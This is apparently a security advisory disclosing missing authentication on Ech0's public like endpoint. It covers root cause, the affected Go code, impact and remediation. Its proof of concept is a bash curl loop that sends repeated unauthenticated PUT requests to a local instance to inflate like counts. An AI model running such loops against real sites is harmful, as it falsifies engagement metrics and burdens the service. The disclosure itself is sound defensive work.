PT-2026-41607 · Go · Github.Com/Lin-Snow/Ech0
Published
2026-05-07
·
Updated
2026-05-07
CVSS v3.1
5.3
Medium
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N |
Summary
No authentication is required to invoke
PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments fav count for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.Description
Root cause: The like endpoint is explicitly public (
PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction—no viewer/user binding.Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.
Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated
PUT repeatedly → fav count increases linearly.Affected files
| Public route registration |
internal/router/echo.go |
| Like mutation (no auth check) | internal/service/echo/echo.go |
| Handler | internal/handler/echo/echo.go |Vulnerable / relevant code
Public PUT route:
11:13:Ech0/internal/router/echo.go
// Public
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())Service does not use viewer / rate limit:
244:248:Ech0/internal/service/echo/echo.go
func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
return echoService.echoRepository.LikeEcho(txCtx, id)
})
}Execution flow
- Client resolves
ECHO ID(e.g.GET /api/echo/pagewith any valid token, or from UI). - Client sends
PUT /api/echo/like/{ECHO ID}with noAuthorizationheader. - Gin matches public route → handler →
EchoService.LikeEcho→ DB incrementsfav count. - Repeat N times → count increases by N.
Proof of concept
bash
BASE="http://127.0.0.1:6277"
OWNER TOKEN=$(curl -sS -X POST "$BASE/api/login"
-H "Content-Type: application/json"
-d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')
ECHO ID=$(curl -sS "$BASE/api/echo/page?page=1&page size=1"
-H "Authorization: Bearer $OWNER TOKEN" | jq -r '.data.items[0].id')
# Single unauthenticated like
curl -sS -w "
HTTP:%{http code}
" -X PUT "$BASE/api/echo/like/$ECHO ID"
# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
curl -sS -o /dev/null -w "%{http code}
" -X PUT "$BASE/api/echo/like/$ECHO ID"
done
# Observe fav count
curl -sS "$BASE/api/echo/$ECHO ID" | jq '.data | {id, fav count}'Observed proof (manual test):
- Each unauthenticated
PUTreturned HTTP200with success JSON (e.g.点赞Echo成功,code:1). fav countincreased to 113 , demonstrating linear inflation from one client with no authentication.
Impact
Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to
fav count are untrustworthy.
high-volume loops add DB write load; possible abuse against availability at scale.Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.
Remediation
Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.
Fix
Missing Authorization
Missing Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Github.Com/Lin-Snow/Ech0